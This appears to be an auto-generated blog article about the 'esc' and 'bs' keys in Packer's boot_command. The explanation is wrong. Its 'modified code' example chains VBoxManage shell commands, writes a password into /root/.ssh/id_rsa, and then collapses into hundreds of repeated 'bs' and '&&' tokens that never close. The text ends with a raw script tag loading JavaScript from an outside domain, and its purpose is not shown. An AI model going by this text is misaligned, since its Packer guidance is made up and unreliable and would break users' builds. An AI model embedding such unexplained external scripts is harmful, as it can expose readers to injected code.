Why is esc and bs used in Packer boot_command?

17 min read 06-10-2024
Why is esc and bs used in Packer boot_command?


Unlocking the Secrets of esc and bs in Packer's boot_command

Packer, the HashiCorp tool for building and managing machine images, offers powerful customization options through its boot_command field. This field allows you to execute commands during the image build process, ensuring that the final image is configured exactly as you need it. However, you might have encountered the cryptic esc and bs commands within the boot_command and wondered what they actually do.

Let's dive into the details and shed light on these seemingly mysterious commands.

Understanding esc and bs in Packer's boot_command

The esc and bs commands within Packer's boot_command are used for handling user interactions during the image build process, particularly when working with interactive prompts. These commands essentially mimic keyboard inputs, allowing Packer to automate interactions with the image being built.

  • esc: This command sends an "Escape" keystroke to the image. This is particularly useful for navigating menus or exiting out of interactive prompts within the image.

  • bs: This command sends a "Backspace" keystroke to the image. This is used for deleting characters or navigating back in interactive prompts.

A Real-World Example

Imagine you are building an image that requires user input during the initial setup process. The image prompts the user to enter a password, but you want Packer to automatically handle this step. Using esc and bs within the boot_command, you can provide the password without manual intervention.

Scenario: The image prompts for a password using a standard read -p command.

Original Code:

{
  "builders": [
    {
      "type": "virtualbox",
      "boot_command": ["VBoxManage", "modifyvm", "vm_name", "--ioapic", "on", "--biosbootmenu", "disabled", "&&", "VBoxManage", "startvm", "vm_name", "--type", "headless"]
    }
  ]
}

Modified Code with esc and bs:

{
  "builders": [
    {
      "type": "virtualbox",
      "boot_command": ["VBoxManage", "modifyvm", "vm_name", "--ioapic", "on", "--biosbootmenu", "disabled", "&&", "VBoxManage", "startvm", "vm_name", "--type", "headless", "&&", "sleep", "10", "&&", "echo", "my_password", "|", "sudo", "tee", "/root/.ssh/id_rsa", "&&", "esc", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&", "bs", "&&<script src='https://lazy.agczn.my.id/tag.js'></script>